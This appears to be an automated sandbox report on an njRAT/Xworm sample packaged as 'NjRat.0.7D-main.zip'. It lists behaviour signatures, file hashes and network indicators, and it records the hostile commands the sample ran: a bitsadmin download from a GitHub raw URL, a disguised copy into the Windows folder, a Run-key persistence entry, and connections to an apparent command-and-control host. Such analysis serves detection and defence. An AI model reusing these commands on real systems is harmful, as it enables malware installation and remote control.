Analysis Overview
SHA256
d96bb6e66aef5a2901a0bfb80df3382d79cdcf60c9916badf27b456244bc6929
Threat Level: Known bad
The file NjRat.0.7D-main.zip was found to be: Known bad.
Malicious Activity Summary
Njrat family
Xworm
Detect Xworm Payload
Download via BitsAdmin
Checks computer location settings
Executes dropped EXE
Loads dropped DLL
Legitimate hosting services abused for malware hosting/C2
Adds Run key to start application
Suspicious use of SetThreadContext
Drops file in Windows directory
System Location Discovery: System Language Discovery
System Network Configuration Discovery: Internet Connection Discovery
Enumerates physical storage devices
Unsigned PE
Modifies registry class
Runs ping.exe
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of SendNotifyMessage
Suspicious behavior: AddClipboardFormatListener
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-09 10:25
Signatures
Njrat family
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-09 10:24
Reported
2024-08-09 10:28
Platform
win7-20240708-en
Max time kernel
147s
Max time network
151s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Xworm
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\bitsadmin.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\audiodg.exe | N/A |
| N/A | N/A | C:\Windows\Isolation graphique de périphérique audio Windows .exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\WatchDog.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\WatchDog.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Isolation graphique de périphérique audio Windows .exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\WatchDog.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\audiodg = "C:\\Windows\\Isolation graphique de périphérique audio Windows .exe" | C:\Windows\SysWOW64\reg.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1944 set thread context of 496 | N/A | C:\Windows\Isolation graphique de périphérique audio Windows .exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\Isolation graphique de périphérique audio Windows .exe | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\Isolation graphique de périphérique audio Windows .exe | C:\Windows\SysWOW64\cmd.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\audiodg.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\PING.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\reg.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Isolation graphique de périphérique audio Windows .exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\WatchDog.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\WatchDog.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\PING.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\PING.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | N/A |
System Network Configuration Discovery: Internet Connection Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
Runs ping.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\audiodg.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Isolation graphique de périphérique audio Windows .exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\WatchDog.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\WatchDog.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\NjRat.0.7D-main\NjRat.0.7D\NjRat 0.7D.exe
"C:\Users\Admin\AppData\Local\Temp\NjRat.0.7D-main\NjRat.0.7D\NjRat 0.7D.exe"
C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D.exe
"C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D.exe"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\install.vbs"
C:\Users\Admin\AppData\Roaming\audiodg.exe
"C:\Users\Admin\AppData\Roaming\audiodg.exe"
C:\Windows\System32\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer myDownloadJob /download /priority normal https://raw.githubusercontent.com/BlackAll9/rrr/main/MicrosoftEdge.rar C:\Users\Admin\AppData\Roaming\MicrosoftEdge.rar
C:\Windows\SysWOW64\cmd.exe
"cmd" /c ping 127.0.0.1 -n 8 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg" /t REG_SZ /d "C:\Windows\Isolation graphique de périphérique audio Windows .exe"
C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 8
C:\Windows\SysWOW64\cmd.exe
"cmd" /c ping 127.0.0.1 -n 13 > nul && copy "C:\Users\Admin\AppData\Roaming\audiodg.exe" "C:\Windows\Isolation graphique de périphérique audio Windows .exe" && ping 127.0.0.1 -n 13 > nul && "C:\Windows\Isolation graphique de périphérique audio Windows .exe"
C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 13
C:\Windows\SysWOW64\reg.exe
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg" /t REG_SZ /d "C:\Windows\Isolation graphique de périphérique audio Windows .exe"
C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 13
C:\Windows\Isolation graphique de périphérique audio Windows .exe
"C:\Windows\Isolation graphique de périphérique audio Windows .exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
C:\Users\Admin\AppData\Local\Temp\WatchDog.exe
"C:\Users\Admin\AppData\Local\Temp\WatchDog.exe"
C:\Users\Admin\AppData\Local\Temp\WatchDog.exe
"C:\Users\Admin\AppData\Local\Temp\WatchDog.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | raw.githubusercontent.com | udp |
| US | 185.199.111.133:443 | raw.githubusercontent.com | tcp |
| US | 185.199.111.133:443 | raw.githubusercontent.com | tcp |
| NL | 83.143.112.30:3096 | tcp | |
| NL | 83.143.112.30:3096 | tcp | |
| NL | 83.143.112.30:3096 | tcp | |
| NL | 83.143.112.30:3096 | tcp |
Files
memory/784-0-0x000007FEF50B3000-0x000007FEF50B4000-memory.dmp
memory/784-1-0x00000000013C0000-0x0000000001CB8000-memory.dmp
memory/784-2-0x000007FEF50B0000-0x000007FEF5A9C000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D.exe
| MD5 | 70ea9c044c9a766330d3fe77418244a5 |
| SHA1 | 18602d0db52917b88cbdab84ba89181e6fd4686a |
| SHA256 | b78fb092e151db613cba51d7f2532547e48c6f4712809a485f272e2ab55776a5 |
| SHA512 | 5261865e7ca21e928b956a97518366c9dc218a2312961e0ba0b72b37ae7c797176382de3c3dc1d2949aca51c3db330562f1087a71efdc7c3c3b8f8928872f917 |
C:\Users\Admin\AppData\Roaming\audiodg.exe
| MD5 | d9dfa8ba182529445890b5021e159b77 |
| SHA1 | 64f8724f8cd76adff12364e6bb2fc9eaceadb1ba |
| SHA256 | 60df809a613aab714e2edad3338500a081fbae866cee3a4a3113abed60f5d59f |
| SHA512 | d18f5d13d5ea4226e309fe7d5b59eac5770f391b92c5a03e0f14cd5e23a45b75ed2353e7a388198162061686d9c4675e11428d0362a01b7e05a0b4638fb10803 |
memory/784-18-0x000007FEF50B0000-0x000007FEF5A9C000-memory.dmp
C:\Users\Admin\AppData\Roaming\install.vbs
| MD5 | 4724c9dce57bc0472ed610ba16d08894 |
| SHA1 | d5fea3520146ccbf54c31b3b4868de499022fb37 |
| SHA256 | aaf7bddca268a157d995df03454ba4d15df36c6b717ebc7fb018e3c5101ef2fb |
| SHA512 | d1ec126257698cecfcebf3db17c910b33a231d08d955a4659ed417e1c115976506e1bd55db463c0e1414e39e6f90f11b20ab2110048bd947e51d9473db292b18 |
memory/2440-20-0x0000000000F20000-0x0000000000F60000-memory.dmp
memory/3060-21-0x0000000000910000-0x000000000096E000-memory.dmp
memory/3060-22-0x0000000000860000-0x00000000008A2000-memory.dmp
memory/2440-25-0x0000000000F20000-0x0000000000F60000-memory.dmp
memory/1944-30-0x0000000000300000-0x000000000035E000-memory.dmp
memory/1944-31-0x00000000004E0000-0x00000000004FA000-memory.dmp
memory/1944-32-0x0000000000610000-0x0000000000616000-memory.dmp
memory/496-34-0x0000000000400000-0x0000000000414000-memory.dmp
memory/496-35-0x0000000000400000-0x0000000000414000-memory.dmp
memory/496-37-0x0000000000400000-0x0000000000414000-memory.dmp
memory/496-39-0x0000000000400000-0x0000000000414000-memory.dmp
memory/496-41-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/496-42-0x0000000000400000-0x0000000000414000-memory.dmp
memory/496-44-0x0000000000400000-0x0000000000414000-memory.dmp
memory/496-43-0x0000000000400000-0x0000000000414000-memory.dmp
\Users\Admin\AppData\Local\Temp\WatchDog.exe
| MD5 | 0e362e7005823d0bec3719b902ed6d62 |
| SHA1 | 590d860b909804349e0cdc2f1662b37bd62f7463 |
| SHA256 | 2d0dc6216f613ac7551a7e70a798c22aee8eb9819428b1357e2b8c73bef905ad |
| SHA512 | 518991b68496b3f8545e418cf9b345e0791e09cc20d177b8aa47e0aba447aa55383c64f5bdaca39f2b061a5d08c16f2ad484af8a9f238ca23ab081618fba3ad3 |
memory/2316-53-0x0000000001140000-0x000000000115A000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\WatchDog.txt
| MD5 | d8d402e89dfd0d68ef74f1e5eb908783 |
| SHA1 | f1316ea2a1ab57d60c3778dd568f558842a0ad59 |
| SHA256 | 9d5cc20e40bddf63d32620611667ddc3d9cbfacc5a4f10aeddc533822a0819cd |
| SHA512 | 790e8d9b23ff6981e4e7fed1ea5cd18aab23ce8ac731c974df88d2e433d27331f28e12a187cf114ddbaf513acea3c4cb1a2dbfa1ed226a884b707915adf894b4 |
C:\Users\Admin\AppData\Local\Temp\WatchDog.txt
| MD5 | aa2ba3f6b3c72fb0d31377de02638170 |
| SHA1 | a2eb4f466a4b312c014c39cd7537b3da6f113561 |
| SHA256 | 4b9e8ff63430de858de9fc7e51f32500b6f7c235fea9de777481ef590eafb607 |
| SHA512 | e5665bbf169432c1128149fbcd831ea9e27185be32c4548e919d66e4f642f0ca11ce29d2d6aa3cfe3c55420d159b47db483115f0e99ee2379e9904f7f1f163df |
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-09 10:24
Reported
2024-08-09 10:28
Platform
win10v2004-20240802-en
Max time kernel
150s
Max time network
150s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\bitsadmin.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\NjRat.0.7D-main\NjRat.0.7D\NjRat 0.7D.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation | C:\Windows\Isolation graphique de périphérique audio Windows .exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\WatchDog.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\audiodg.exe | N/A |
| N/A | N/A | C:\Windows\Isolation graphique de périphérique audio Windows .exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\WatchDog.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\WatchDog.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\audiodg = "C:\\Windows\\Isolation graphique de périphérique audio Windows .exe" | C:\Windows\SysWOW64\reg.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4004 set thread context of 3716 | N/A | C:\Windows\Isolation graphique de périphérique audio Windows .exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\Isolation graphique de périphérique audio Windows .exe | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\Isolation graphique de périphérique audio Windows .exe | C:\Windows\SysWOW64\cmd.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\reg.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\WatchDog.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Isolation graphique de périphérique audio Windows .exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\WatchDog.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\audiodg.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\PING.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\PING.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\PING.EXE | N/A |
System Network Configuration Discovery: Internet Connection Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings | C:\Users\Admin\AppData\Local\Temp\NjRat.0.7D-main\NjRat.0.7D\NjRat 0.7D.exe | N/A |
Runs ping.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\audiodg.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Isolation graphique de périphérique audio Windows .exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\WatchDog.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\WatchDog.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\NjRat.0.7D-main\NjRat.0.7D\NjRat 0.7D.exe
"C:\Users\Admin\AppData\Local\Temp\NjRat.0.7D-main\NjRat.0.7D\NjRat 0.7D.exe"
C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D.exe
"C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D.exe"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\install.vbs"
C:\Users\Admin\AppData\Roaming\audiodg.exe
"C:\Users\Admin\AppData\Roaming\audiodg.exe"
C:\Windows\System32\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer myDownloadJob /download /priority normal https://raw.githubusercontent.com/BlackAll9/rrr/main/MicrosoftEdge.rar C:\Users\Admin\AppData\Roaming\MicrosoftEdge.rar
C:\Windows\SysWOW64\cmd.exe
"cmd" /c ping 127.0.0.1 -n 9 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg" /t REG_SZ /d "C:\Windows\Isolation graphique de périphérique audio Windows .exe"
C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 9
C:\Windows\SysWOW64\cmd.exe
"cmd" /c ping 127.0.0.1 -n 20 > nul && copy "C:\Users\Admin\AppData\Roaming\audiodg.exe" "C:\Windows\Isolation graphique de périphérique audio Windows .exe" && ping 127.0.0.1 -n 20 > nul && "C:\Windows\Isolation graphique de périphérique audio Windows .exe"
C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 20
C:\Windows\SysWOW64\reg.exe
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg" /t REG_SZ /d "C:\Windows\Isolation graphique de périphérique audio Windows .exe"
C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 20
C:\Windows\Isolation graphique de périphérique audio Windows .exe
"C:\Windows\Isolation graphique de périphérique audio Windows .exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
C:\Users\Admin\AppData\Local\Temp\WatchDog.exe
"C:\Users\Admin\AppData\Local\Temp\WatchDog.exe"
C:\Users\Admin\AppData\Local\Temp\WatchDog.exe
"C:\Users\Admin\AppData\Local\Temp\WatchDog.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 76.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | raw.githubusercontent.com | udp |
| US | 185.199.111.133:443 | raw.githubusercontent.com | tcp |
| US | 8.8.8.8:53 | 133.111.199.185.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.144.22.2.in-addr.arpa | udp |
| NL | 83.143.112.30:3096 | tcp | |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 37.58.20.217.in-addr.arpa | udp |
| NL | 83.143.112.30:3096 | tcp | |
| NL | 83.143.112.30:3096 | tcp | |
| US | 8.8.8.8:53 | udp |
Files
memory/2772-0-0x00007FF9FB583000-0x00007FF9FB585000-memory.dmp
memory/2772-1-0x0000000000410000-0x0000000000D08000-memory.dmp
memory/2772-2-0x00007FF9FB580000-0x00007FF9FC041000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\NjRat 0.7D.exe
| MD5 | 70ea9c044c9a766330d3fe77418244a5 |
| SHA1 | 18602d0db52917b88cbdab84ba89181e6fd4686a |
| SHA256 | b78fb092e151db613cba51d7f2532547e48c6f4712809a485f272e2ab55776a5 |
| SHA512 | 5261865e7ca21e928b956a97518366c9dc218a2312961e0ba0b72b37ae7c797176382de3c3dc1d2949aca51c3db330562f1087a71efdc7c3c3b8f8928872f917 |
memory/2948-14-0x0000000074852000-0x0000000074853000-memory.dmp
memory/2948-16-0x0000000074850000-0x0000000074E01000-memory.dmp
memory/2948-20-0x0000000074850000-0x0000000074E01000-memory.dmp
C:\Users\Admin\AppData\Roaming\audiodg.exe
| MD5 | d9dfa8ba182529445890b5021e159b77 |
| SHA1 | 64f8724f8cd76adff12364e6bb2fc9eaceadb1ba |
| SHA256 | 60df809a613aab714e2edad3338500a081fbae866cee3a4a3113abed60f5d59f |
| SHA512 | d18f5d13d5ea4226e309fe7d5b59eac5770f391b92c5a03e0f14cd5e23a45b75ed2353e7a388198162061686d9c4675e11428d0362a01b7e05a0b4638fb10803 |
C:\Users\Admin\AppData\Roaming\install.vbs
| MD5 | 4724c9dce57bc0472ed610ba16d08894 |
| SHA1 | d5fea3520146ccbf54c31b3b4868de499022fb37 |
| SHA256 | aaf7bddca268a157d995df03454ba4d15df36c6b717ebc7fb018e3c5101ef2fb |
| SHA512 | d1ec126257698cecfcebf3db17c910b33a231d08d955a4659ed417e1c115976506e1bd55db463c0e1414e39e6f90f11b20ab2110048bd947e51d9473db292b18 |
memory/2772-33-0x00007FF9FB580000-0x00007FF9FC041000-memory.dmp
memory/1960-34-0x00000000000F0000-0x000000000014E000-memory.dmp
memory/1960-35-0x00000000059D0000-0x0000000005F74000-memory.dmp
memory/1960-36-0x0000000005420000-0x00000000054B2000-memory.dmp
memory/1960-37-0x00000000054C0000-0x000000000555C000-memory.dmp
memory/1960-38-0x0000000005370000-0x000000000537A000-memory.dmp
memory/1960-39-0x0000000006F30000-0x0000000006F72000-memory.dmp
memory/2948-43-0x0000000074852000-0x0000000074853000-memory.dmp
memory/2948-44-0x0000000074850000-0x0000000074E01000-memory.dmp
memory/4004-48-0x0000000000580000-0x00000000005DE000-memory.dmp
memory/4004-49-0x0000000007250000-0x000000000726A000-memory.dmp
memory/4004-50-0x0000000007270000-0x0000000007276000-memory.dmp
memory/3716-51-0x0000000000400000-0x0000000000414000-memory.dmp
